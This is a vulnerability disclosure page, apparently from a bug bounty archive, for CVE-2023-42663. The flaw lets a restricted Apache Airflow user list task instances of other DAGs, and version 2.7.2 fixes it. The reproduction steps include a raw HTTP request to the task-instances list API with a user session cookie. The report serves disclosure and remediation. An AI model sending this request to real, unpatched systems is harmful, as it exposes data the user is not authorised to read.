CVE-2023-42663: Apache Airflow: Bypass permission verification to view task instances of other dags
An authorised user with read access to only specific DAGs could read task instance information from other DAGs. The attacker could view task instances of DAGs they were not permitted to access.
- Triaged in 4 days
- Fixed in 17 days
- Paid in 17 days
- Disclosed after 30 days
Summary by the program
CVE-2023-42663: Apache Airflow: Bypass permission verification to view task instances of other dags Severity: low
Affected versions:
- Apache Airflow before 2.7.2
Description: Apache Airflow, versions before 2.7.2, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs. Users of Apache Airflow are advised to upgrade to version 2.7.2 or newer to mitigate the risk associated with this vulnerability.
Credit: balis0ng (finder) Ephraim Anierobi (remediation developer)
Full Security Advisory: https://lists.apache.org/thread/xj86cvfkxgd0cyqfmz6mh1bsfc61c6o9
The report
Apache Airflow, versions before 2.7.2, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.
#Steps to reproduce :
- Copy a User role, name it roleA, and remove the "can read on DAGs" "can delete on DAGs" "can edit on DAGs" permissions.Add "can read on DAG:tutorial" permissions

- Create a user named test and assign RoleA to it.

- Log in to the test account, we can only see the DAG named tutorial.Can't see task instances from other DAGs either.


- Use burpsuite to send the following message, and you can see the task instances of other DAGs. (replaced with the session of the test account)
POST /api/v1/dags/~/dagRuns/~/taskInstances/list HTTP/1.1
Host: testvul.com:8080
Accept: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
content-type: application/json
Referer: http://testvul.com:8080/dags/example_external_task_marker_parent/grid
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=3d17f3fe-e02b-4f16-88f1-fd59e299ae0c.a4kyHK7of13T0NtbCVVmPgFtSDU
Connection: close
Content-Length: 2
{}

Security Advisory: https://lists.apache.org/thread/xj86cvfkxgd0cyqfmz6mh1bsfc61c6o9 Severity: Low Credit: balis0ng
Impact
It allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the API endpoint for listing task instances did not properly check the user's permissions for each DAG, allowing access to task instances from DAGs the user was not authorised to read.
Impact
An authorised user with limited DAG read access could read task instance information from other DAGs.
What the attacker needed
An authorised user account; access to read at least one DAG; ability to send API requests
The fix
The vulnerability was fixed in Apache Airflow version 2.7.2; users should upgrade to that version or later.
How it was found
- Create a role based on the User role, remove DAG read/delete/edit permissions, and add read permission for a specific DAG.
- Create a user and assign the new role to it.
- Log in as that user and confirm only the permitted DAG is visible.
- Send a crafted API request to list task instances for all DAGs, using the user's session.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Apache Airflow is a tool for scheduling and running workflows, called DAGs. Normally, a user can only see the DAGs they have been given permission to view. This bug let a user with limited permissions see information about tasks in other DAGs by sending a special request to the API.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.